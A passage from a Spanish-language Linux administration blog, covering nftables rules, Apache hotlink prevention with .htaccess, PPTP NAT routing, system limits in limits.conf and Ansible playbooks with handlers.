Inicialmente todo estaría claro a excepción de la expresión en sí, que sería lo que definiría la regla. Las expresiones son unas reglas que tienen que coincidir bajo ciertas circunstancias y que tras las cuales se deciden ciertas acciones. Esto dicho así puede parecer lioso, pero al final sería definir la regla, su argumento y la acción que se realizará al respecto... Es mejor empezar con un ejemplo sencillo que definiría la regla más sencilla posible; vamos a crear una regla que impida que puedan acceder al puerto 80. La regla se añadiría tal que así:

nft add rule inet filter input tcp dport 80 drop

En esta regla estaríamos diciendo que todo el tráfico TCP al puerto 80 sería bloqueado, y como podéis observar la expresión en sí es intuitiva. Existen muchísimas expresiones y reglas, y aquí sería imposible abarcar todas, pero las más comunes serían:

oifname 'nombre de la interfaz SALIENTE'
iifname 'nombre de la interfaz ENTRANTE'

ip protocol 'protocolo'
ip daddr 'direccion IPv4 de DESTINO'
ip saddr 'direccion IPv4 de ORIGEN'

ip6 daddr 'direccion IPv6 de DESTINO'
ip6 saddr 'direccion IPv6 de ORIGEN'

tcp dport 'puerto de DESTINO'
tcp sport 'puerto de ORIGEN'

udp dport 'puerto de DESTINO'
udp sport 'puerto de ORIGEN'

ct state 'new | established | related | invalid'

Dichas expresiones pueden combinarse entre sí dentro de la misma regla y siempre tienen que terminar con una política; las más comunes son las mencionadas antes: accept y drop. Pero existen también las políticas queue, continue y return; además de una política especial, la cual solamente se puede usar en las cadenas de tipo nat, llamada masquerade. Esta última lo que haría sería transformar la IP de origen del tráfico saliente en la IP de dicha interfaz, lo cual es común en las labores de NATeo, pues lo que se hace es transformar una IP en otra.

Usando lo de arriba como referencia podemos hacer combinaciones como estas:

Bloquear todo el trafico al puerto 22 desde el rango de IPs 192.168.1.0/24:
nft add rule inet filter input tcp dport 22 ip saddr 192.168.1.0/24 drop

Bloquear todo el trafico entrante nuevo (ct state new), proveniente del puerto 80. Es decir que nosotros podamos conectarnos a Internet, pero que no se puedan conectar a nuestro puerto 80 desde fuera:
nft add rule inet filter input ct state new drop

Bloquear los pings que accedan por la interfaz con nombre enp0s3:
nft add rule inet filter input iifname enp0s3 ip protocol icmp drop


Esto solo sería una parte de lo que puede hacer nftables, pero nos sirve para hacernos una idea global de la potencia que nos puede ofrecer esta utilidad.

Para listar todo aquello que hemos creado (las tablas, cadenas y reglas) tenemos el comando:
nft list ruleset

El cual nos mostrará nuestra configuración completa; configuración que podemos volcar en el fichero de configuración de nftables con el fin de que sea permanente. Esto se puede hacer a mano o mediante el comando:
nft list ruleset > /etc/nftables.conf

En caso de querer eliminar una regla que hayamos creado, es importante saber que, de momento, no es tan sencillo como sustituir nft add por nft delete; desgraciadamente, es necesario ejecutar primero el comando:
nft list ruleset -a

Allí veremos que al lado de cada tabla y cada regla aparecerá: #handle, seguido de un número; para eliminar la regla, tendremos que hacer referencia al handle con dicho numero. Si por ejemplo la regla de inet filter tuviese el handle 7, tendríamos que escribir:
nft delete rule inet filter input handle 7

Esto último no es del todo intuitivo y lo ideal sería poder eliminarlo de forma "natural", pero de momento es posible.


En definitiva, nos encontramos ante una versión más potente e intuitiva que iptables, que si bien ofrece varias ventajas, también posee un par de desventajas. El hecho de tener que conocer el handle de la regla para poder eliminarla, no es del todo afinado, al igual que la incapacidad de poder usar la familia inet para la tabla nat, o que sea necesario crear la tabla nat junto con sus correspondientes cadenas desde cero para hacer un simple 'masquerade' del tráfico postrouting.

Aún así es recomendable acostumbrarse a utilizarla, pues Debian 10 ya no usa iptables y en un futuro cercano nos veremos obligados a utilizar este firewall en el resto de distribuciones. Además, seguramente con el paso del tiempo irá puliendo esos pequeños detalles que hacen que esta potente herramienta no sea del todo perfecta.

Espero que os haya resultado útil.

Saludos.

martes, 17 de abril de 2018

Hotlinking; qué es y como evitarlo en Apache 2

Todos aquellos que tienen un servidor web expuesto al público, saben que al hacerlo dejan dicho servidor expuesto al mundo, y aún con un firewall bien configurado para evitar, en su medida, ciertos ataques, saben que siempre se corre riesgo de que por un motivo u otro, la web deje de estar disponible, su tiempo de respuesta sea lento o que ésta sea vulnerada. Teniendo en cuenta que el objetivo de una web es que "todos" la vean, es harto difícil lograr combinar una seguridad "infranqueable" y disponibilidad, y lo peor de todo es que a veces, acciones insignificantes que no son malintencionadas, pueden afectar al rendimiento de nuestra web... Hoy quiero hablaros de dicho último en especial; concretamente de una acción llamada hotlinking.

hotlink_portada

El hotlinking es una acción que si bien en sí no es maligna, puede perjudicar a otros en determinados aspectos, pues se trata de el uso de imágenes de otros servidores en vez de imágenes propias para enriquecer el contenido de una web. A modo de ejemplo, supongamos que queremos añadir una imagen a nuestra web; tenemos dos opciones, o subirla a nuestro servidor, o hacer referencia a la URL de una imagen ya hospedada en otro servidor; la segunda opción se trataría de un hotlink. Esto en sí no es un problema cuando se tratan de pocas imágenes y pocos links... Pero sí que puede ser problemático cuando el número de hotlinks es muy alto; especialmente si las páginas desde las que se reciben los hotlinks son muy visitadas, pues cada vez que dicha imagen es cargada en la otra página, estaría consumiendo ancho de banda de nuestro servidor, ya que la imagen que estarían solicitando estaría alojada en nuestro servidor, con lo que en verdad nos estarían haciendo una solicitud de imagen a nosotros y no a ellos.

Con el fin de que el ancho de banda de nuestra web no sea consumido involuntariamente, lo ideal es protegernos del hotlinking; lo cual afortunadamente es sencillo de implementar en Apache 2. Para ello hay dos tipos de prevención de hotlinking; aquel que directamente te pone muestra una imagen nula o aquel que te muestra una imagen concreta (y diferente) con el fin de dar a entender que están realizando una práctica no deseada contra nuestras imágenes.

Para poder aplicar dicha medida de protección en nuestro servidor, lo primero que necesitamos hacer es tener el módulo mod_rewrite activado en nuestro servidor web Apache2. Dicho módulo es instalado por defecto con Apache2, pero al mismo tiempo se encuentra desactivado por defecto, con lo que primero activaríamos dicho módulo, lo cual es tan sencillo como escribir el comando de a continuación como root:
a2enmod rewrite 
Veremos que nos solicita reiniciar Apache2 con el fin de hacer efectivo el cambio, pero todavía no lo haremos debido a que necesitaremos hacer un pequeño cambio en la configuración de este servicio para que pueda trabajar con el módulo rewrite... Esto es debido a que Apache2 por defecto está diseñado para no trabajar con dicho módulo y para no permitir que se "sobrescriban" las políticas del servidor web. En este caso, al querer modificar el comportamiento del servidor para prevenir el hotlinking, editaremos el fichero /etc/apache2/apache2.conf; teniendo en cuenta que lo más común es que la página web esté alojada en /var/www/ (o en uno de sus subdirectorios), cambiaremos lo siguiente:

Antes:
<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride none
        Require all granted
</Directory>

Despues:
<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride all
        Require all granted
</Directory>

Con dicho cambio realizado, ahora sí que procederíamos a reiniciar Apache2 mediante el comando:
service apache2 restart
Una vez tengamos los preparativo realizados, pasaremos a implantar nuestra protección contra hotlinks, lo cual lograremos gracias a la intervención de un fichero que crearemos llamado .htaccess, cuya función es rescribir la configuración usada para el servicio web dentro del directorio en el que se aloja ésta y, también, dentro de los subdirectorios de la susodicha. En mi caso en concreto la web se encontraría alojada en /var/www/html, web en la cual estaría hospedada la siguiente imagen:

no_hotlink_prevent

Dicha imagen se encontraría desnuda en estos momentos, es decir que podría ser accedida desde cualquier otra web, con lo que dentro del directorio /var/www/html crearíamos el fichero .htaccess con el siguiente contenido:

RewriteEngine on
RewriteOptions InheritDown
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http(s)://(www\.)?192.168.1.8/.*$ [NC]
RewriteRule \.(jpg|jpeg|png|gif)$ - [NC]

Desgranemos cada línea con el fin de entender el contenido del fichero y no hacer un simple copia-pega.

La primera línea, RewriteEngine on; habilita la posibilidad de realizar las opciones "rewrite" que se ejecutan a continuación, acciones realizadas gracias al módulo rewrite de Apache2; en caso de carecer de dicha línea o tener dicho valor establecido a off.

La segunda línea, RewriteOptions InheritDown, la cual es opcional, sirve para que los subdirectorios hereden la configuración aplicada en dicho .htaccess.

La tercera y cuarta línea, son las condiciones bajo las cuales se ejecutaría el rewrite. En ambas se tiene en cuenta qué IP o dominio va a hacer referencia a la web debido a que en la condición, RewriteCond, se revisa dicho valor gracias a %{HTTP_REFERER}, después del cual se dice desde donde se realiza una petición HTTP al servidor. Dicha petición se realizaría desde dos orígenes, desde el propio servidor (a nivel interno) para lo cual pondríamos el parámetro en cuestión vacío, lo cual se representa como: !^$. En cambio, para especificar nuestro host, tendríamos que escribir el nombre (o la IP) de éste teniendo en cuenta que se puede hacer referencia al host como http, https (si lo tenemos habilitado), con www o sin este. En mi caso el servidor Apache2 sería la IP 192.168.1.8. Además, veremos que al lado hay un parámetro llamado [NC]; dicho parámetro se encargaría de no hacer distinción entre mayúsculas y minúsculas.

Por último se pondría la re-escritura de "reglas" mediante el RewriteRule, el cual en este caso haría que todas las peticiones que HTTP que se hagan a las imágenes jpg,jpeg,png y gif, sean bloqueadas. Por ejemplo, si hacemos una petición a dicha imagen desde otro servidor web, veremos una imagen en blanco:


hotlink_block
Esto nos serviría para bloquear el hotlinking desde otros sitios; si deseásemos que se mostrase una imagen concreta que fuese indicativa de que tenemos la protección contra hotlinks activada, podríamos editar el contenido anterior para que en la línea RewriteRule nos redirija a una imagen local previamente preparada. La re-dirección la haríamos especificando la ruta local de dicha imagen.

RewriteEngine on
RewriteOptions InheritDown
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?192.168.1.8/.*$ [NC]
RewriteRule \.(jpg|png)$ /var/www/html/imagenes/candado.png [NC]

Ahora en caso de intentar acceder a la imagen desde un origen no grato, veríamos la imagen de un candado tal y como podemos ver en la siguiente captura:

hotlink_redirect

Esta medida puede ser incluso más efectiva que la del bloqueo, ya que sería claramente disuasoria de que las personas intenten hacer hotlinks a dichas imágenes propias y que en caso de desear mostrarlas, tengan la necesidad de descargárselas y subírselas a sus propios servidores.

Como podéis ver la técnica de prevención de hotlinks es fácil y sencilla de aplicar, medida que si bien puede uno pensar que no necesita, puede prevenirle a uno del consumo indeseado de ancho de banda; prevención que se puede aplicar de una forma muy rápida como se ha podido ver aquí.

Espero que os haya resultado útil.

Saludos.

viernes, 23 de marzo de 2018

Cómo habilitar el tráfico PPTP a través de un router Linux

La creación de un router "casero" con Linux es relativamente sencillo; solamente necesitamos dos tarjetas de red y tener claras las IPs y VLANes a la que pertenece cada interfaz de red... La cuestión está en que a veces podemos tener problemas de comunicación con ciertos servicios al "aislarnos" gracias a dicho router casero que hemos creado con nuestro sistema Linux. Dicho aislamiento puede deberse a veces a problemas de configuración con iptables, o a que debido a algunas políticas por defecto adoptadas por Linux, cierto tráfico es bloqueado. En este caso quiero mostraros como habilitar el tráfico PPTP (Point to Point Tunelling Protocol) en Linux.

pptp_linux

Podemos tener una configuración perfecta en el cortafuegos, pero aún así ver que el tráfico no está llegando correctamente a su destino... Esto es debido a que Linux tiene deshabilitado por defecto el enrutamiento del tráfico PPTP, ya que hoy en día es considerado inseguro y es mucho más recomendado usar tecnologías tales como OpenVPN o tecnologías que usen Ipsec. Aún así, no siempre podemos trabajar en las circunstancias ideales y cuando nos piden conectarnos a un servidor VPN ajeno, no podemos elegir qué tipo de VPN es, sino que tenemos que adaptarnos a las circunstancias. Es por ello que tendremos que habilitar que dicho tráfico "fluya" por nuestro router.

Afortunadamente la solución es sencilla; lo primero de todo sería comprobar si tenemos el módulo el enrutamiento (también conocido como nateo) del protocolo PPTP activado. Esto es tan sencillo como listar todos los módulos existentes, haciendo un filtrado del módulo que buscamos, que en este caso sería nf_nat_pptp. Dicho listado lo haríamos gracias al comando lsmod:
lsmod |grep nf_nat_pptp
Lo más normal sería que el comando nos diese un resultado vacío; es decir que el módulo no estuviese activo. Afortunadamente la solución es extremadamente sencilla: Para insertar el módulo habría que ejecutar el comando:
insmod nf_nat_pptp
Gracias a dicho comando tendríamos activado el módulo en cuestión, si bien para que este cambio fuese permanente habría que incluirlo en el arranque añadiéndolo en al fichero /etc/modules. Para ello habría que escribir el comando:
echo 'nf_nat_pptp' >> /etc/modules
Ahora bien, con dicho comando no sería suficiente, habría que hacer que el kernel también fuese capaz de hacer las acciones necesarias para gestionar dicho tráfico. Afortunadamente el cambio solamente consistiría en añadir una línea al fichero /etc/sysctl.conf. Dicha línea sería añadida tal que así:
echo 'net.netfilter.nf_conntrack_helper=1' \ 
>> /etc/sysctl.conf
Para aplicara los cambios dentro de dicho fichero simplemente habría que ejecutar el comando:
sysctl -p
Gracias a este cambio, un sistema Linux que actúe como enrutador, enrutaría también el tráfico PPTP, brindándonos así la posibilidad de conectarnos a dichos tipos de VPN.

Espero que os haya sido útil.

Saludos.

miércoles, 21 de marzo de 2018

Límites en Linux; qué son y cómo controlarlos

A la hora de trabajar con servidores Linux, la prioridad de uno suele ser siempre la misma: Que sea capaz de dar servicio todo el tiempo posible y que sea capaz de atender cualquier petición que se le realice. Ambas necesidades tienen una estrecha relación con el hardware instalado, pero en muchas ocasiones se ignora el software, el cual también tiene un papel importante. Podemos tener un hardware extremadamente potente que si a nivel de software no tenemos la optimizaciones necesarias, no le estaremos sacando partido al susodicho debido a que tenemos unos límites demasiado estrictos; es por ello que hoy quiero hablaros sobre los límites en Linux.

limits_portada

Existen ciertas aplicaciones tales como las bases de datos y las aplicaciones web, que requieren abrir una ingente cantidad de ficheros: Ficheros temporales, bases de datos, ficheros de configuración, etc... Además, con las bases de datos podemos estar haciendo varias consultas o "aperturas" de fichero simultáneas que contarían como múltiples aperturas de fichero... Esto en servidores con una carga de trabajo relativamente baja no supone un problema, pero en servidores con altas cargas de trabajo sí que supondría un problema ya que podríamos superar el límite de ficheros abiertos de forma simultánea, dando como error interno el mensaje: "Too many open files". Esto es debido a que los límites impuestos por el sistema nos impiden abrir más ficheros, al igual que otros límites nos pueden impedir otras tareas.

Afortunadamente dichos límites pueden ampliarse de forma sencilla. Lo primero sería conocer nuestro límite actual, lo cual es tan sencillo como escribir el comando:
ulimit -n
En caso de tener los valores por defecto, el valor mostrado por la salida de dicho comando sería de 1024; es decir que el límite actual sería de 1024 ficheros abiertos. Esto puede parecer un valor muy alto, pero en un servidor dicho valor puede quedarse corto, especialmente si trabajamos con bases de datos como PostgreSQL que trabaja con una gran cantidad e ficheros temporales por cuestiones de rendimiento.

Para cambiar el límite actual de forma provisional, podemos recurrir al comando:
ulimit -n 99999
El problema de dicho comando sería que el límite solo valdría para el usuario y sesión actual; si cerramos sesión o reiniciamos el equipo, dicho límite se perdería y volvería a establecerse el de 1024. Para realizar un cambio más permanente tendríamos que editar el fichero /etc/security/limits.conf.

Dicho fichero establece los límites para diferentes usuarios y grupos. Por defecto su contenido está completamente comentado, con lo que cualquier límite que deseemos agregar tendrá que ser hecho a mano. Antes de añadir cualquier contenido, es importante entender su sintaxis, ya que será lo que nos ayudará a entender qué queremos añadir y cómo hacerlo. Cada límite que queramos añadir estará compuesto por cuatro secciones separadas por espacios entre sí; en concreto la estructura sería:

dominio tipo objeto valor


  • Dominio: Este valor es el que dictamina a qué usuario o grupo vamos a asignarle el límite. Con * se haría referencia a todos.
  • Tipo: Se puede elegir un límite duro (hard) o blando (soft). El blando sería el límite "por defecto" que se tendría en el sistema, mientras que el duro sería el límite que no se podría traspasar aún asignándoselo con el comando ulimit -n X. 
  • Objeto: El objeto especificaría a qué le deseamos poner el límite; se puede poner límite al número de "logueos" simultáneos con el mismo usuario con maxlogins, también se puede poner un límite para el número de procesos controlados por un usuario o grupo mediante nproc, o también puede establecerse el límite de ficheros abiertos mediante nofile. Existen otros objetos tales como data o fsize que establecerían los límites de tamaño de los datos y de los archivos respectivamente... Hay dos objetos cuyo límite es delicado y que es recomendable modificar con cuidado; dichos objetos serían nice; que indicaría el valor máximo de prioridad "nice" que se puede establecer a un proceso, y priority que establecería la prioridad por defecto asignada al programa ejecutado por el usuario o grupo. Ambos objetos pueden tener un valor negativo, pues la prioridad oscila entre -20 y 19 siendo -20 la prioridad más alta y 19 la más baja. Existen más objetos, pero los mencionados serían los más populares.
  • Valor: El valor sería simplemente el indicador del límite. Aquí se puede poner el valor que nosotros veamos necesario; se podría poner un valor bajo en algunos objetos tales como maxlogins, mientras que se podrían poner valores altos (pero definidos) para objetos tales como nofile. En caso de querer no ponerle limitador alguno se le pondría el valor -1, valor que haría que el límite fuese "infinito" ; la excepción sería para los objetos nice y priority, pues para ambos el valor -1 es un valor que se encuentra dentro del rango que manejan y carecen de ningún valor "infinito".

A sabiendas de cual es la estructura de un límite, vamos a plasmar un par de ejemplos:

Uno de los límites más "usados" sería el la cantidad de ficheros abiertos simultáneos, el cual, tal y como hemos visto antes se especificaría con el objeto nofile. Podemos crear un límite "duro" y uno "blando" para el usuario que, generalmente, más ficheros abrirá: El usuario root. Podemos poner un límite "blando" de 9999 ficheros y uno duro de 99999, lo cual se haría añadiendo lo siguiente:

root   soft   nofile  9999
root   hard   nofile  99999

Por otro lado, en caso de querer poner un límite de maximos logins simultáneos podemos hacer:

root   soft   maxlogins 4
root   hard   maxlogins 4

En caso de querer hacer referencia a un grupo en vez de a un usuario la sintaxis sería @nombre_grupo. Es decir que si deseásemos hacer que el número de procesos controlados por cualquier miembro del grupo usuarios, fuese infinito, haríamos tal que así:

@usuarios soft  nproc -1
@usuarios hard  nproc -1

Para que luego estos límites hagan efecto simplemente valdría con reiniciar el equipo o (en caso de que fuese con un usuario que no fuese root) cerrar sesión, pues las sesiones activas mantendrían los valores actuales.

Espero que os haya resultado útil.

Saludos.

lunes, 15 de enero de 2018

Cómo usar los playbooks con Ansible en Linux

Continuando con el anterior artículo, en esta ocasión vamos a profundizar un poco más en el uso de la herramienta Ansible. Hasta ahora hemos podido mandar ordenes individuales desde el controlador al resto de equipos, a los que llamaremos nodos, pero el problema radica en que por el momento lo único que estamos haciendo es mandar una orden individual a todos... Una orden que puede ser muy práctica y que puede ahorrarnos mucho tiempo, pero que no es lo más práctico cuando queremos gestionar varios servicios y tareas... Es por ello que en este aparado vamos a centrarnos en uno de los aspectos más importantes que ofrece Ansible: Los playbooks. Antes de continuar, es recomendable que, si no se tienen noción alguna de Ansible, os leáis el anterior artículo.

playbooks_portada

Un playbook no es más que un fichero que contiene las ordenes correspondientes que queremos enviar a todos los nodos; ordenes que se irían ejecutando secuencialmente según hallamos escrito en el fichero. Dicho playbook, estará escrito en lenguaje YMAL y tendrá una extensión .yml. La lógica es parecida a la seguida con las ordenes y los módulos usados en el anterior apartado, pero con más opciones y con la posibilidad de crear un conjunto de ordenes de forma estructurada y ordenada. La mejor forma de entenderlo es con un pequeño ejemplo inicial. Para ello, para tener todo bien organizado, vamos a crear un directorio llamado PLAYBOOKS dentro de /etc/ansible y dentro de dicho directorio vamos a crear un fichero llamado master.yml.
mkdir /etc/ansible/PLAYBOOKS
touch /etc/ansible/PLAYBOOKS/master.yml
Dicho fichero tendrá el contenido de a continuación:

---
#Este es el playbook maestro
- hosts: all
  remote_user: root
  tasks:
  - name: Asegurarse que NTP esta en marcha
    service: name=ntp state=started enabled=yes
...

Puede parecer complicado, pero si lo desgranamos, veremos que es muy sencillo:

  • Los primeros tres guiones indican el comienzo del fichero. Todo fichero YMAL debe llevarlo para que Ansible pueda leerlo correctamente.
  • Cualquier línea que comience con una # será considerado un comentario, tal y como ocurre en los scripts de bash.
  • Después comenzaremos con la primera sección de todas, que sería de a qué grupo (especificado previamente dentro del fichero /etc/ansible/hosts) queremos hacer referencia. Allí podemos poner el nombre de un grupo que hayamos creado o, en caso de quererlo, decir que se envíen a todas las IPs y hosts que aparezcan dentro del fichero. En nuestro caso hemos optado por dicha opción, lo cual se representa mediante - hosts: all. Es muy importante comenzar con dicho - pues marcaría el inicio de las acciones y reglas dirigidas a dicho grupo.
  • Tras decir eso, habría que decir a qué usuario remoto nos queremos conectar. Aquí podemos escoger el que queramos, pero en mi caso, ya que he preparado el usuario root del otro equipo para poder conectarme directamente a él sin contraseña alguna, optaré por usar dicho usuario.
  • Ahora habría que pasar a la parte de las tareas... Dichas tareas se definen mediante, el nombre tasks: y después debajo de éste empezaríamos a mencionar las tareas una por una; tareas que siempre empezarían con un -.
  • Toda tarea está compuesta por, cómo mínimo, 2 partes. La primera parte sería meramente informativa. Se pondría un nombre descriptivo que nos mostraría Ansible antes de ejecutar la tarea. Dicho nombre se especificaría mediante - name. La segunda parte sería la tarea a ejecutar, que constaría de: Módulo: argumentos. En este caso hemos usado el módulo service, y los argumentos usados serían name, state y enabled. Se pueden poner tantas tareas como se quieran, siempre y cuando se siga la misma estructura que la que acabo de mencionar.
  • Por último, siempre al final de cada playbook habría que escribir tres puntos.

Este ejemplo es muy sencillo y puede evolucionar a mucho más, poniendo diferentes hosts y tareas, pero sirve de buena base introductoria... Para ejecutar dicho playbook, simplemente habría que escribir el comando:
ansible-playbook /etc/ansible/PLAYBOOKS/master.yml
El contenido del playbook, al hacer referencia a una única tarea, sería lo equivalente al siguiente comando de Ansible:
ansible all -m service -a \
"name=ntp state=started enabled=yes"
Vamos a poner un ejemplo más completo en esta ocasión; supongamos que queramos asegurarnos de que el servicio NTP tenga la última versión; además también vamos a verificar que el servicio Asterisk está en marcha. Por otro lado vamos a crear una tarea exclusiva para el grupo llamado PRUEBAS; una tarea que consistirá en revisar que tenemos la última versión del paquete apache2. Al final sería aplicara los mismos conceptos que hemos visto arriba, pero de forma un poco más amplia, dejando el fichero con el siguiente aspecto:

---
#Este es el playbook maestro

#Reglas para todos los hosts
- hosts: all
  remote_user: root
  tasks:
  - name: Asegurarse que NTP esta en marcha
    service: name=ntp state=started enabled=yes
  - name: Verificar ultima version NTP
    apt: name=ntp state=latest
  - name: Asegurarse que Asterisk esta en marcha
    service: name=asterisk state=started enabled=yes

# Reglas para el grupo PRUEBAS
- hosts: PRUEBAS
  remote_user: root
  tasks:
  - name: Verificar ultima version Apache2
    service: name=apache2 state=started enabled=yes
...

Como podéis ver siempre mantendrá la misma lógica... Es decir primero irían los hosts de destino, luego el usuario con el que queremos hacer las acciones y por último las tareas a realizar.

Una característica muy interesante que podemos aprovechar en los playbooks, es el uso de handlers. Un handler es una tarea que se ejecuta únicamente en caso de que una tarea concreta (especificada por nosotros) haya realizado un cambio de estado. Por ejemplo si tuviésemos un handler preparado para cuando hubiese un cambio de estado en Apache2, y una tarea que se asegurase de que apache2 tuviese la última versión, en caso de que Apache2 no la tuviese, el handler se ejecutaría. Veamos un ejemplo usando como referencia el mencionado Apache2:

---
#Este es el playbook maestro
- hosts: all
  remote_user: root
  tasks:
  - name: Verificar ultima version Apache2
    apt: name=apache2 state=latest
    notify: "Reiniciar Apache2"
  handlers:
  - name: Reiniciar apache si es necesario
    service: name=apache2 state=restarted
    listen: "Reiniciar Apache2"
...

Como podéis observar, el handler está a la escucha de que le llegue una notificación; notificación que enviaríamos desde la tarea de verificación de la última versión de Apache2. Con lo que siempre que trabajásemos con handlers, trabajaríamos de la misma forma que con las tareas, pero con la diferencia de que desde la tarea tendríamos que notificar al handler mediante un notify, y desde el handler tendríamos que escuchar a que nos llegase una notificación concreta mediante un listen.

Gracias a las tareas (tasks) y handlers, podemos realizar playbooks muy completos donde podemos agrupar una enorme cantidad de tareas y handlers para luego así llamarlos a todos a la vez; ahorrándonos tener que escribir los comandos uno a uno para cada tarea que queramos realizar, haciendo que nos ahorremos muchísimo tiempo una vez tengamos todas las tareas correctamente definidas. Aún así, a nivel de gestión, el tener todas las tareas y handlers en un solo playbook puede ser una locura a nivel de mantenimiento... Cuando son pocas tareas y servicios no pasa nada, pero y si queremos gestionar 50 servicios, con diferentes grupos, handlers, etc... Técnicamente al agruparlo todo en un solo playbook es perfectamente viable, pero a nivel mantenerlo en el tiempo puede ser realmente costoso, especialmente si se quieren hacer cambios en el futuro... Es por ello que lo ideal es tener un playbook maestro y que este vaya llamando a diferentes playbooks dependiendo de las tareas que se quieran realizar. La llamada a dichos playbooks desde el playbook maestro se realiza mediante la sentencia include, y podemos crear una estructura perfectamente definida para que con el paso del tiempo se pueda mantener sin demasiados problemas.

Vamos a suponer que queremos poner un firewall para todos los equipos; un firewall común que todos van a tener; además también vamos a verificar que tanto Mysql como Apache2 están en marcha, pues tenemos un servidor web; por otro lado también verificaremos qué Asterisk tiene la última versión y que en dicho caso lo reiniciaremos. Estas tareas se podrían considerar como diferentes entre sí y por ello lo suyo sería tener: El playbook maestro, un playbook para el firewall, otro playbook para el apartado web y otro más para Asterisk. Comencemos con el aspecto del playbook maestro, master.yml:

---
#Este es el playbook maestro
- hosts: all
  remote_user: root
  tasks:
  - include: /etc/ansible/PLAYBOOKS/Firewall.yml
  - include: /etc/ansible/PLAYBOOKS/Web.yml
  - include: /etc/ansible/PLAYBOOKS/Asterisk.yml
  handlers:
  - include: /etc/ansible/HANDLERS/Firewall_handler.yml
  - include: /etc/ansible/HANDLERS/Web_handler.yml
  - include: /etc/ansible/HANDLERS/Asterisk_handler.yml
...

Como podéis ver todo queda alojado en ficheros separados, tanto las tareas como los handlers; handlers que como podéis ver se alojarían en otro directorio llamado /etc/ansible/HANDLERS/. Estos ficheros tendrían una ligera variación con respecto a lo que hemos visto hasta ahora, pues a diferencia de un playbook "normal", en estos no haría falta ponerles las etiquetas, solamente las tareas a realizar, pues ya estarían asignadas previamente por el master.yml. Veamos por ejemplo el contenido de uno de los playbooks de tareas; concretamente el contenido del fichero Firewall.yml que posee un módulo que no hemos visto hasta ahora; el módulo copy en el que copiaremos un fichero desde nuestro controlador al resto de nodos.

---
#ESTE ES EL PLAYBOOK DEL FIREWALL
- name: COPIAR IPTABLES DEL CONTROLADOR A LOS NODOS
  copy: src=/usr/src/iptables.sh dest=/etc/init.d/iptables.sh
  notify: "CORTAFUEGOS"
...

Como veis directamente empezaríamos con el - name; sin mencionar los hosts, ni el usuario remoto, ni el hecho de que es una tarea y no un handler, pues todo eso ya ha sido especificado por el anterior playbook. En este caso lo que hacemos simplemente es copiar un fichero desde la máquina controladora al resto de equipos y que en caso de que haya una diferencia entre el iptables.sh del equipo controlador y el del nodo, mande un notify llamado "CORTAFUEGOS". Obviamente si el fichero iptables.sh no existiese en el nodo, también mandaría dicho notify.

El proceso de llamamiento de un handler mediante un include no difiere apenas con el realizado con las tareas. Buen ejemplo de ello sería el handler Firewall_handler.yml que estaría relacionado con la tarea arriba mostrada; en este caso usaremos otro módulo nuevo llamado file, capaz de modificar los permisos de un fichero para que sea ejecutable:

---
#HANDLERS FIREWALL
- name: Dar permisos firewall
  file: dest=/etc/init.d/iptables.sh mode=755 state=touch
  listen: "CORTAFUEGOS"
- name: Arrancar cortafuegos
  shell: /etc/init.d/iptables.sh start
  listen: "CORTAFUEGOS"
...

En este caso el handler lo primero que haría sería darle los permisos de ejecución necesarios al nuevo script para luego ejecutarlo. El contenido del cortafuegos no es algo relevante para este ejemplo, pero a modo de prueba podría ser algo como lo siguiente:


#!/bin/bash
case "$1" in
        start)
                iptables -F
                iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
                iptables -A INPUT -m state --state NEW -j DROP
                iptables -A OUTPUT -j ACCEPT
        ;;
        stop)
                iptables -F
        ;;
esac

Con esto ya tendríamos el firewall controlado y simplemente siguiendo las mismas pautas se podría hacer exactamente lo mismo para la gestión de tanto la parte Web como Asterisk, pues la base sería la misma que la que hemos estado usando hasta ahora.

Gracias a lo que hemos visto en este artículo, tendríamos un dominio básico de los playbooks gracias al cual podríamos realizar la mayoría de las gestiones necesarias para controlar un grupo de servidores... De aquí en adelante solo sería profundizar conceptos y jugar con los diferentes módulos de Ansible, con el fin de tener los playbooks más óptimos posibles.

Espero que os haya resultado útil.

Saludos.